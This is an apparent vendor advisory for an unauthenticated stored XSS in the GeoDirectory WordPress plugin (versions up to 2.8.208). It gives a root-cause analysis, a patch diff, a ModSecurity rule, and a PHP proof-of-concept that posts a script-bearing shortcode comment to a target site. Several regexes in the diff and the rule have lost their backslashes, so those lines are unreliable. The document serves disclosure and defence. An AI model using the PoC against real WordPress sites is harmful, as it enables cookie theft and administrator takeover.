Published : November 28, 2026

CVE-2026-136462: GeoDirectory <= 2.8.208 Unauthenticated Stored Cross-Site Scripting via address_template Shortcode Attribute in Review Content PoC, Patch Analysis & Rule

Plugin geodirectory
Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 2.8.208
Patched Version 2.8.209
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-136462: This is an unauthenticated stored cross-site scripting (XSS) vulnerability in the GeoDirectory WordPress plugin, affecting versions up to and including 2.8.208. The flaw resides in the handling of review content (the ‘comment’ parameter) and its later parsing as shortcodes, allowing an attacker to inject arbitrary web scripts that execute in the context of an administrator or any site visitor viewing the injected page. The CVSS score is 5.4 (medium severity), and the weakness is classified as CWE-79.

Root Cause: The single listing page content is processed through the WordPress ‘the_content’ filter, which executes ‘do_shortcode()’ on the already rendered output, including user-submitted reviews. Review text, stored via the ‘comment’ parameter, undergoes insufficient sanitization and output escaping. When the listing content is re-parsed, any shortcode-like patterns in the review text are executed. The vulnerability is exacerbated by the ‘address_template’ shortcode attribute, which is used to render the address. The diff shows that the plugin did not neutralize shortcode brackets in comment text (see the addition of ‘neutralize_comment_shortcodes’ and ‘neutralize_comment_excerpt_shortcodes’ in class-geodir-comments.php). Prior to the patch, the plugin also lacked proper sanitization of dynamic content replacement (geodir_replace_variables) and address output (geodir_post_address), allowing attackers to inject malicious shortcodes or HTML attributes. The root cause is the absence of strict output encoding and shortcode neutralization for untrusted user input.

Exploitation: An attacker can exploit this by submitting a comment (review) containing a crafted shortcode payload, such as ‘[gd_address_template address_template=”alert(1)”]’ (or similar), via the WordPress comment form. The comment is stored in the database. When the listing page is viewed, the plugin renders the review content within a shortcode context (e.g., [gd_single_tabs] or [gd_single_reviews]). The shortcode parser processes the attacker’s payload, and the ‘address_template’ attribute is not properly sanitized, leading to script execution. Under default WordPress settings (comment_previously_approved=1), an attacker needs at least one prior comment approved to have subsequent comments auto-approved, bypassing moderation. The attack requires no authentication and can be delivered via the comment form on any GeoDirectory listing page.

Patch Analysis: The patch (v2.8.209) introduces several mitigations. First, it adds filters ‘neutralize_comment_shortcodes’ and ‘neutralize_comment_excerpt_shortcodes’ (in class-geodir-comments.php) to encode square brackets in review text as hex entities ([ and ]), preventing shortcode execution. Second, it adds the function ‘geodir_neutralize_untrusted_content()’ (in formatting-functions.php) that strips block delimiters and encodes brackets. Third, it sanitizes the address HTML output using ‘geodir_kses_address()’ (which applies wp_kses with extended allowed HTML for itemprop, itemscope, itemtype) and ensures slashes are stripped before sanitization to prevent re-forming markup. The patch also hardens dynamic variable replacement by validating that only %%variable%% placeholders are processed and escapes replacement values based on context (geodir_escape_dynamic_value). Additionally, the single-tabs widget now sanitizes content after variable replacement (geodir_sanitize_html_field). These changes collectively prevent shortcode injection and XSS by ensuring untrusted content is neutralized before being parsed as shortcodes or output as HTML.

Impact: Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript that executes in the browser of any user viewing the affected listing page, including administrators. This can lead to session hijacking, theft of sensitive data (cookies, tokens), redirection to malicious sites, defacement, or exploitation of administrator privileges to perform actions like creating new admin accounts or installing malicious plugins. The stored nature of the XSS means the payload persists until removed, potentially affecting many users. The vulnerability is limited to sites using GeoDirectory with reviews enabled and the default comment approval settings.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/geodirectory/geodirectory.php
+++ b/geodirectory/geodirectory.php
@@ -11,7 +11,7 @@
  * Plugin Name: GeoDirectory
  * Plugin URI: https://wpgeodirectory.com/
  * Description: GeoDirectory - Business Directory Plugin for WordPress.
- * Version: 2.8.208
+ * Version: 2.8.209
  * Author: AyeCode - WP Business Directory Plugins
  * Author URI: https://wpgeodirectory.com
  * Text Domain: geodirectory
@@ -34,7 +34,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '2.8.208';
+		public $version = '2.8.209';

 		/**
 		 * GeoDirectory instance.
--- a/geodirectory/includes/class-geodir-comments.php
+++ b/geodirectory/includes/class-geodir-comments.php
@@ -22,6 +22,10 @@
 		// add ratings to comment text
 		add_filter( 'comment_text', array( __CLASS__, 'wrap_comment_text' ), 40, 2 );

+		// Prevent review text from being parsed as shortcodes when the listing content is re-parsed.
+		add_filter( 'comment_text', array( __CLASS__, 'neutralize_comment_shortcodes' ), PHP_INT_MAX, 2 );
+		add_filter( 'get_comment_excerpt', array( __CLASS__, 'neutralize_comment_excerpt_shortcodes' ), PHP_INT_MAX, 3 );
+
 		// replace comments template
 		add_filter( 'comments_template', array( __CLASS__, 'comments_template' ) ); // @todo, maybe we want to use the themes own template?

@@ -635,6 +639,45 @@
 	}

 	/**
+	 * Encode shortcode brackets in GD review text.
+	 *
+	 * The single listing page content is filtered through the_content, which
+	 * runs do_shortcode() on the already rendered output (including the reviews).
+	 * Review text is untrusted user input and must never be parsed as shortcodes.
+	 *
+	 * @since 2.8.209
+	 *
+	 * @param string $content The comment content.
+	 * @param object|string $comment The comment object.
+	 * @return string The comment content.
+	 */
+	public static function neutralize_comment_shortcodes( $content, $comment = '' ) {
+		if ( ! empty( $comment->comment_post_ID ) && geodir_is_gd_post_type( get_post_type( (int) $comment->comment_post_ID ) ) ) {
+			$content = geodir_neutralize_untrusted_content( $content );
+		}
+
+		return $content;
+	}
+
+	/**
+	 * Encode shortcode brackets in GD review excerpt.
+	 *
+	 * @since 2.8.209
+	 *
+	 * @param string $content The comment excerpt.
+	 * @param string $comment_id The comment ID as a numeric string.
+	 * @param object|string $comment The comment object.
+	 * @return string The comment excerpt.
+	 */
+	public static function neutralize_comment_excerpt_shortcodes( $content, $comment_id = 0, $comment = '' ) {
+		if ( ! empty( $comment->comment_post_ID ) && geodir_is_gd_post_type( get_post_type( (int) $comment->comment_post_ID ) ) ) {
+			$content = geodir_neutralize_untrusted_content( $content );
+		}
+
+		return $content;
+	}
+
+	/**
 	 * Comment HTML markup.
 	 *
 	 * @since 2.0.0
--- a/geodirectory/includes/core-functions.php
+++ b/geodirectory/includes/core-functions.php
@@ -540,8 +540,20 @@
  */
 function geodir_column_exist( $db, $column ) {
 	global $wpdb;
-	$exists  = false;
-	$columns = $wpdb->get_col( "show columns from $db" );
+
+	$exists = false;
+
+	// Allow only a valid table identifier.
+	if ( empty( $db ) || ! is_string( $db ) || ! preg_match( '/^[A-Za-z0-9_-$]+$/', $db ) ) {
+		return $exists;
+	}
+
+	$columns = $wpdb->get_col( "SHOW COLUMNS FROM `{$db}`" );
+
+	if ( empty( $columns ) || ! is_array( $columns ) ) {
+		return $exists;
+	}
+
 	foreach ( $columns as $c ) {
 		if ( $c == $column ) {
 			$exists = true;
--- a/geodirectory/includes/custom-fields/output-functions.php
+++ b/geodirectory/includes/custom-fields/output-functions.php
@@ -2624,6 +2624,9 @@
 			// Render private address.
 			$address_fields = geodir_post_address( $address_fields, 'address', $gd_post );

+			// Strip slashes before sanitizing so that no markup can be re-formed after sanitization.
+			$address_fields = stripslashes( $address_fields );
+
 			$plain_value = wp_strip_all_tags( $address_fields, true );
 			if ( $plain_value == '' ) {
 				return $html;
@@ -2632,9 +2635,12 @@
 			// Database / Stripped value.
 			if ( ! empty( $output ) && ( isset( $output['raw'] ) || isset( $output['strip'] ) ) ) {
 				$address_fields = str_replace( array( ",<br>", "<br>" ), array( ",", "," ), $address_fields );
-				return stripslashes( wp_strip_all_tags( $address_fields, true ) );
+				return wp_strip_all_tags( $address_fields, true );
 			}

+			// Sanitize the address HTML before output.
+			$address_fields = geodir_kses_address( $address_fields );
+
 			$html = '<div class="geodir_post_meta ' . $cf['css_class'] . ' geodir-field-' . $cf['htmlvar_name'] . '" itemscope itemtype="http://schema.org/PostalAddress">';

 			$maybe_secondary_class = isset( $output['icon'] ) ? 'gv-secondary' : '';
@@ -2652,11 +2658,11 @@
 			}

 			if ( $output == '' || isset( $output['value'] ) ) {
-				$html .= stripslashes( $address_fields );
+				$html .= $address_fields;
 			}

 			if ( ! empty( $output ) && isset( $output['link'] ) ) {
-				$value = stripslashes( $address_fields );
+				$value = $address_fields;
 				$address = normalize_whitespace( wp_strip_all_tags( $value ) );
 				$map_link = 'https://www.google.com/maps?q=' . urlencode( $address );

--- a/geodirectory/includes/formatting-functions.php
+++ b/geodirectory/includes/formatting-functions.php
@@ -30,6 +30,105 @@
 }

 /**
+ * Neutralize shortcodes and block delimiters in visitor supplied content.
+ *
+ * @since 2.8.209
+ *
+ * @param string $content The content.
+ * @return string The text with shortcode brackets encoded.
+ */
+function geodir_neutralize_untrusted_content( $content ) {
+	if ( ! is_string( $content ) || $content === '' ) {
+		return $content;
+	}
+
+	// Strip block delimiters.
+	if ( strpos( $content, '<!--' ) !== false ) {
+		$content = preg_replace( '/<!--s*/?wp:.*?-->/s', '', $content );
+	}
+
+	// Encode square brackets so shortcodes can't be executed.
+	return geodir_encode_shortcode_brackets( $content );
+}
+
+/**
+ * Encode square brackets so the text can never be parsed as shortcodes.
+ *
+ * Brackets are encoded as hex entities ([ / ]) instead of [ / ].
+ * WordPress uses [ / ] as internal placeholders in do_shortcode() and
+ * unescape_invalid_shortcodes() turns them back into [ ] at the end of every
+ * do_shortcode() call. When review text is rendered inside a shortcode (e.g.
+ * [gd_single_tabs] / [gd_single_reviews] within the single page template) the
+ * decimal entities are converted back to brackets, and the following
+ * do_shortcode() on the_content then executes them. Hex entities are left
+ * untouched by the shortcode API and by entity normalization.
+ *
+ * @since 2.8.209
+ *
+ * @param string $content The content.
+ * @return string The content with square brackets encoded.
+ */
+function geodir_encode_shortcode_brackets( $content ) {
+	if ( ! is_string( $content ) || $content === '' ) {
+		return $content;
+	}
+
+	// Decimal bracket entities already present in the text would also be decoded by do_shortcode().
+	if ( strpos( $content, '&#' ) !== false ) {
+		$content = preg_replace( array( '/�*91;/', '/�*93;/' ), array( '[', ']' ), $content );
+	}
+
+	if ( strpos( $content, '[' ) !== false || strpos( $content, ']' ) !== false ) {
+		$content = str_replace( array( '[', ']' ), array( '[', ']' ), $content );
+	}
+
+	return $content;
+}
+
+/**
+ * Sanitize the address HTML built from the address template.
+ *
+ * @since 2.8.209
+ *
+ * @param string $html The address HTML.
+ * @return string Sanitized address HTML.
+ */
+function geodir_kses_address( $html ) {
+	if ( ! is_string( $html ) || $html === '' ) {
+		return $html;
+	}
+
+	static $allowed_html = null;
+
+	if ( null === $allowed_html ) {
+		$allowed_html = wp_kses_allowed_html( 'post' );
+
+		foreach ( $allowed_html as $tag => $attributes ) {
+			if ( ! is_array( $attributes ) ) {
+				$attributes = array();
+			}
+
+			$attributes['itemprop']  = true;
+			$attributes['itemscope'] = true;
+			$attributes['itemtype']  = true;
+
+			$allowed_html[ $tag ] = $attributes;
+		}
+
+		/**
+		 * Filter the HTML tags & attributes allowed in the address output.
+		 *
+		 * @since 2.8.209
+		 *
+		 * @param array $allowed_html Allowed HTML.
+		 */
+		$allowed_html = apply_filters( 'geodir_kses_address_allowed_html', $allowed_html );
+	}
+
+	return wp_kses( $html, $allowed_html );
+}
+
+/**
  * Emulate the WP native sanitize_text_field function in a %%variable%% safe way.
  *
  * @see   https://core.trac.wordpress.org/browser/trunk/src/wp-includes/formatting.php for the original
--- a/geodirectory/includes/helper-functions.php
+++ b/geodirectory/includes/helper-functions.php
@@ -13,13 +13,16 @@
  *
  * @return bool|string
  */
-function geodir_db_cpt_table($post_type){
-	if(!empty($post_type)){
-		global $plugin_prefix;
-		return $plugin_prefix . $post_type . '_detail';
+function geodir_db_cpt_table( $post_type ) {
+	global $wpdb;
+
+	$post_type = sanitize_key( $post_type );
+
+	if ( $post_type === '' ) {
+		return false;
 	}

-	return false;
+	return $wpdb->prefix . 'geodir_' . $post_type . '_detail';
 }

 /**
--- a/geodirectory/includes/post-functions.php
+++ b/geodirectory/includes/post-functions.php
@@ -1987,40 +1987,47 @@
 	global $gd_post;

 	// Only run if we have a GD post and the start of a var
-	if ( ! empty( $gd_post->ID ) && strpos( $text, '%%' ) !== false ) {
-		$non_replace = geodir_get_no_replace_fields();
+	if ( empty( $gd_post->ID ) || ! is_string( $text ) || strpos( $text, '%%' ) === false ) {
+		return $text;
+	}
+
+	// Only run if the text contains a %%variable%%.
+	if ( ! preg_match( '/%%[A-Za-z0-9_-]+%%/', $text ) ) {
+		return $text;
+	}
+
+	$non_replace = geodir_get_no_replace_fields();

-		// Field key => type info, used to escape each replacement value for
-		// the context it is output in.
-		$field_types = geodir_dynamic_content_field_types( ! empty( $gd_post->post_type ) ? $gd_post->post_type : '' );
-
-		foreach( $gd_post as $key => $val ) {
-			if ( ! in_array( $key, $non_replace ) ) {
-				// Replace plain variables.
-				if ( strpos( $text, '%%' . $key . '%%' ) !== false ) {
-					$val = apply_filters( 'geodir_replace_variables_' . $key, $val, $text );
-
-					$replace_val = $val;
-					if ( ! empty( $replace_val ) ) {
-						$field_type = isset( $field_types[ $key ]['field_type'] ) ? $field_types[ $key ]['field_type'] : '';
-						$data_type  = isset( $field_types[ $key ]['data_type'] ) ? $field_types[ $key ]['data_type'] : '';
-
-						if ( in_array( $key, array( 'post_content', 'post_excerpt' ), true ) ) {
-							$field_type = 'html';
-						}
+	// Field key => type info, used to escape each replacement value for
+	// the context it is output in.
+	$field_types = geodir_dynamic_content_field_types( ! empty( $gd_post->post_type ) ? $gd_post->post_type : '' );
+
+	foreach( $gd_post as $key => $val ) {
+		if ( ! in_array( $key, $non_replace ) ) {
+			// Replace plain variables.
+			if ( strpos( $text, '%%' . $key . '%%' ) !== false ) {
+				$val = apply_filters( 'geodir_replace_variables_' . $key, $val, $text );
+
+				$replace_val = $val;
+				if ( ! empty( $replace_val ) ) {
+					$field_type = isset( $field_types[ $key ]['field_type'] ) ? $field_types[ $key ]['field_type'] : '';
+					$data_type  = isset( $field_types[ $key ]['data_type'] ) ? $field_types[ $key ]['data_type'] : '';

-						$replace_val = geodir_escape_dynamic_value( $replace_val, $field_type, $data_type, array( 'key' => $key, 'text' => $text ) );
+					if ( in_array( $key, array( 'post_content', 'post_excerpt' ), true ) ) {
+						$field_type = 'html';
 					}

-					$text = str_replace( '%%' . $key . '%%', $replace_val, $text );
+					$replace_val = geodir_escape_dynamic_value( $replace_val, $field_type, $data_type, array( 'key' => $key, 'text' => $text ) );
 				}

-				// Replace encoded variables.
-				if ( strpos( $text, '%%' . $key . '_encode%%' ) !== false ) {
-					$encode_val = ! empty( $val ) ? urlencode( trim( $val ) ) : '';
-					$encode_val = apply_filters( 'geodir_replace_variables_encode_' . $key, $encode_val, $text );
-					$text = str_replace( '%%' . $key . '_encode%%', $encode_val, $text );
-				}
+				$text = str_replace( '%%' . $key . '%%', $replace_val, $text );
+			}
+
+			// Replace encoded variables.
+			if ( strpos( $text, '%%' . $key . '_encode%%' ) !== false ) {
+				$encode_val = ! empty( $val ) ? urlencode( trim( $val ) ) : '';
+				$encode_val = apply_filters( 'geodir_replace_variables_encode_' . $key, $encode_val, $text );
+				$text = str_replace( '%%' . $key . '_encode%%', $encode_val, $text );
 			}
 		}
 	}
--- a/geodirectory/includes/post-types-functions.php
+++ b/geodirectory/includes/post-types-functions.php
@@ -125,33 +125,33 @@
  * @return bool True if given post type is GD post type, otherwise False.
  */
 function geodir_is_gd_post_type( $post_type ) {
-    global $gd_is_post_type;
+	global $gd_is_post_type;

-    if ( empty( $post_type ) || is_array($post_type) ) {
-        return false;
-    }
+	// Must be a scalar following the GD post type naming convention (gd_*).
+	if ( ! is_scalar( $post_type ) || strpos( (string) $post_type, 'gd_' ) !== 0 ) {
+		return false;
+	}

-    if ( strpos( $post_type, 'gd_' ) !== 0 ) {
-        return false;
-    }
+	$post_type = (string) $post_type;

-    if ( !empty( $gd_is_post_type ) && !empty( $gd_is_post_type[ $post_type ] ) ) {
-        return true;
-    }
+	// Fast path: already confirmed earlier in this request.
+	if ( ! empty( $gd_is_post_type[ $post_type ] ) ) {
+		return true;
+	}

-    $gd_posttypes = geodir_get_posttypes();
+	$post_types = geodir_get_posttypes();

-    if ( !empty( $gd_posttypes ) && in_array( $post_type, $gd_posttypes ) ) {
-        if ( !is_array( $gd_is_post_type ) ) {
-            $gd_is_post_type = array();
-        }
+	if ( ! empty( $post_types ) && in_array( $post_type, $post_types, true ) ) {
+		if ( ! is_array( $gd_is_post_type ) ) {
+			$gd_is_post_type = array();
+		}

-        $gd_is_post_type[ $post_type ] = true;
+		$gd_is_post_type[ $post_type ] = true;

-        return true;
-    }
+		return true;
+	}

-    return false;
+	return false;
 }

 /**
@@ -626,53 +626,60 @@
  * @return string The post type.
  */
 function geodir_get_current_posttype() {
-    global $wp_query, $post, $geodir_post_type;
+	global $post, $geodir_post_type;

-    $geodir_post_type = get_query_var('post_type');
+	// Get from the queried post type.
+	$geodir_post_type = get_query_var( 'post_type' );

-    if (geodir_is_page('add-listing') || geodir_is_page('preview')) {
-        if (isset($_REQUEST['pid']) && $_REQUEST['pid'] != '')
-            $geodir_post_type = get_post_type((int)$_REQUEST['pid']);
-        elseif (isset($_REQUEST['listing_type']))
-            $geodir_post_type = sanitize_text_field($_REQUEST['listing_type']);
-    }
-
-    if ((geodir_is_page('search') || geodir_is_page('author')) && isset($_REQUEST['stype']))
-        $geodir_post_type = sanitize_text_field($_REQUEST['stype']);
+	// Add listing / preview pages: use the edited post, else the chosen listing type.
+	if ( geodir_is_page( 'add-listing' ) || geodir_is_page( 'preview' ) ) {
+		if ( ! empty( $_REQUEST['pid'] ) ) {
+			$geodir_post_type = get_post_type( absint( $_REQUEST['pid'] ) );
+		} elseif ( isset( $_REQUEST['listing_type'] ) && is_scalar( $_REQUEST['listing_type'] ) ) {
+			$geodir_post_type = sanitize_key( wp_unslash( $_REQUEST['listing_type'] ) );
+		}
+	}

-    if (is_tax())
-        $geodir_post_type = geodir_get_taxonomy_posttype();
+	// Search / author pages: use the submitted search type.
+	if ( ( geodir_is_page( 'search' ) || geodir_is_page( 'author' ) ) && isset( $_REQUEST['stype'] ) && is_scalar( $_REQUEST['stype'] ) ) {
+		$geodir_post_type = sanitize_key( wp_unslash( $_REQUEST['stype'] ) );
+	}

-    // Retrieve post type for map marker html ajax request on preview page.
-    if (empty($geodir_post_type) && defined('DOING_AJAX') && !empty($post)) {
-        if (!empty($post->post_type)) {
-            $geodir_post_type = $post->post_type;
-        } else if (!empty($post->listing_type)) {
-            $geodir_post_type = $post->listing_type;
-        }
-    }
+	// Taxonomy archives.
+	if ( is_tax() ) {
+		$geodir_post_type = geodir_get_taxonomy_posttype();
+	}

-    $all_postypes = geodir_get_posttypes();
-    $all_postypes = stripslashes_deep($all_postypes);
+	// AJAX search requests (eg: GD Fast AJAX) pass the post type via "stype".
+	if ( defined( 'DOING_AJAX' ) && isset( $_REQUEST['stype'] ) && is_scalar( $_REQUEST['stype'] ) ) {
+		$geodir_post_type = sanitize_key( wp_unslash( $_REQUEST['stype'] ) );
+	}

-    if (is_array($all_postypes) && !in_array($geodir_post_type, $all_postypes))
-        $geodir_post_type = '';
+	// Map marker HTML AJAX request on the preview page: read from the global post.
+	if ( empty( $geodir_post_type ) && defined( 'DOING_AJAX' ) && ! empty( $post ) ) {
+		if ( ! empty( $post->post_type ) ) {
+			$geodir_post_type = $post->post_type;
+		} elseif ( ! empty( $post->listing_type ) ) {
+			$geodir_post_type = $post->listing_type;
+		}
+	}

-    if( defined( 'DOING_AJAX' ) && isset($_REQUEST['stype'])){
-        $geodir_post_type = sanitize_text_field($_REQUEST['stype']);
-    }
+	// Check GD post type.
+	if ( ! geodir_is_gd_post_type( $geodir_post_type ) ) {
+		$geodir_post_type = '';
+	}

-    // Set default past type on search page when stype is not set.
-    if ( empty( $geodir_post_type ) && geodir_is_page( 'search' ) ) {
-        $geodir_post_type = geodir_get_default_posttype();
-    }
+	// Fall back to the default post type on the search page.
+	if ( empty( $geodir_post_type ) && geodir_is_page( 'search' ) ) {
+		$geodir_post_type = geodir_get_default_posttype();
+	}

-    /**
-     * Filter the default CPT return.
-     *
-     * @since 1.6.9
-     */
-    return apply_filters('geodir_get_current_posttype',$geodir_post_type);
+	/**
+	 * Filter the default CPT return.
+	 *
+	 * @since 1.6.9
+	 */
+	return apply_filters( 'geodir_get_current_posttype', $geodir_post_type );
 }

 /**
--- a/geodirectory/includes/widgets/class-geodir-widget-recent-reviews.php
+++ b/geodirectory/includes/widgets/class-geodir-widget-recent-reviews.php
@@ -593,6 +593,7 @@
 			$comment_id      = $comment->comment_ID;
 			$comment_content = strip_tags( $comment->comment_content );
 			$comment_content = preg_replace( '#(\[img\]).+(\[\/img\])#', '', $comment_content );
+			$comment_content = geodir_neutralize_untrusted_content( $comment_content );

 			$permalink            = get_permalink( $comment->post_id ) . '#comment-' . $comment->comment_ID;
 			$comment_author_email = $comment->comment_author_email;
--- a/geodirectory/includes/widgets/class-geodir-widget-single-tabs.php
+++ b/geodirectory/includes/widgets/class-geodir-widget-single-tabs.php
@@ -409,7 +409,14 @@

 		// Main content
 		if ( ! empty( $tab->tab_content ) ) { // override content
-			$content = geodir_replace_variables( stripslashes( $tab->tab_content ) );
+			$_tab_content = stripslashes( $tab->tab_content );
+			$content      = geodir_replace_variables( $_tab_content );
+
+			// Sanitize after %%variables%% are replaced, so field values can't inject attributes/scripts.
+			if ( $content !== $_tab_content ) {
+				$content = geodir_sanitize_html_field( wp_slash( $content ) );
+			}
+
 			echo do_shortcode( $content );
 		} elseif ( $tab->tab_type == 'meta' ) { // meta info
 			echo do_shortcode( '[gd_post_meta key="' . $tab->tab_key . '" show="value"]' );
@@ -467,7 +474,14 @@
 				do_action( 'geodir_single_tab_content_before', $child_tab, $tab );

 				if ( ! empty( $child_tab->tab_content ) ) { // override content
-					$_content = geodir_replace_variables( stripslashes( $child_tab->tab_content ) );
+					$_tab_content = stripslashes( $child_tab->tab_content );
+					$_content     = geodir_replace_variables( $_tab_content );
+
+					// Sanitize after %%variables%% are replaced, so field values can't inject attributes/scripts.
+					if ( $_content !== $_tab_content ) {
+						$_content = geodir_sanitize_html_field( wp_slash( $_content ) );
+					}
+
 					echo do_shortcode( $_content );
 				} elseif ( $child_tab->tab_type == 'meta' ) { // meta info
 					echo do_shortcode( '[gd_post_meta key="' . $child_tab->tab_key . '"]' );
--- a/geodirectory/templates/bootstrap/reviews/recent-item-clean.php
+++ b/geodirectory/templates/bootstrap/reviews/recent-item-clean.php
@@ -1,12 +1,19 @@
 <?php
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-global $aui_bs5;
-
 /**
+ * Display Recent Review Item
+ *
+ * This template can be overridden by copying it to yourtheme/geodirectory/bootstrap/reviews/recent-item-clean.php.
+ *
+ * HOWEVER, on occasion GeoDirectory will need to update template files and you
+ * (the theme developer) will need to copy the new files to your theme to
+ * maintain compatibility. We try to do this as little as possible, but it does
+ * happen. When this occurs the version of the template file will be bumped and
+ * the readme will list any important changes.
+ *
+ * @see        https://wpgeodirectory.com/documentation/article/how-tos/customizing-templates/
+ * @package    GeoDirectory
+ * @version    2.8.209
+ *
  * Variables.
  *
  * @var object $comment The comment object.
@@ -21,6 +28,12 @@
  * @var bool $active If the item is in a carousel and active.
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+global $aui_bs5;
+
 $comment_content = wp_strip_all_tags( $comment->comment_content );
 $comment_content = preg_replace( '#(\[img\]).+(\[\/img\])#', '', $comment_content );
 $comment_excerpt = geodir_utf8_substr( $comment_content, 0, 150 ) . '…';
@@ -29,7 +42,7 @@
 	<div class="card h-100 mw-100 shadow-sm border-0">
 		<div class="card-body">
 			<div class="fs-xs mb-2"><?php echo geodir_get_rating_stars( $comment->rating, $comment_post_ID ); ?></div>
-			<p class="geodir_reviewer_text p-0 m-0 fs-base text-muted"><?php echo esc_html( $comment_excerpt ); ?></p>
+			<p class="geodir_reviewer_text p-0 m-0 fs-base text-muted"><?php echo geodir_neutralize_untrusted_content( esc_html( $comment_excerpt ) ); ?></p>
 		</div>

 		<div class="card-footer border-0 pt-0 d-flex align-items-center">

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136462
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:136462,phase:2,deny,status:403,chain,msg:'CVE-2026-136462 GeoDirectory XSS via comment shortcode',severity:'CRITICAL',tag:'CVE-2026-136462'"
  SecRule ARGS_POST:comment "@rx [gd_address_template[^]]*address_templates*=s*[^>]*<script" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136462 - GeoDirectory <= 2.8.208 - Unauthenticated Stored Cross-Site Scripting via address_template Shortcode Attribute in Review Content

$target_url = 'http://example.com'; // Configure target WordPress site with GeoDirectory plugin
$listing_id = 123; // ID of a GeoDirectory listing (post ID)
$attacker_email = 'attacker@example.com';

// Step 1: Submit a benign comment first to get it approved (if not already approved)
// This PoC assumes the attacker has already had one comment approved, so subsequent comments are auto-approved.

// Step 2: Submit malicious comment containing XSS payload in address_template shortcode attribute
$comment_data = array(
    'comment_post_ID' => $listing_id,
    'author' => 'Attacker',
    'email' => $attacker_email,
    'url' => '',
    'comment' => '[gd_address_template address_template="<script>alert(document.cookie)</script>"]',
    'submit' => 'Post Comment'
);

// Use cURL to POST the comment to WordPress comment endpoint
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 302 || $http_code == 200) {
    echo "Comment submitted successfully. Check listing page for XSS execution.n";
} else {
    echo "Failed to submit comment. HTTP code: $http_coden";
}

// Step 3: Trigger the XSS by visiting the listing page (the payload executes when the page is viewed)
// The attacker would lure an administrator to view the listing page.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.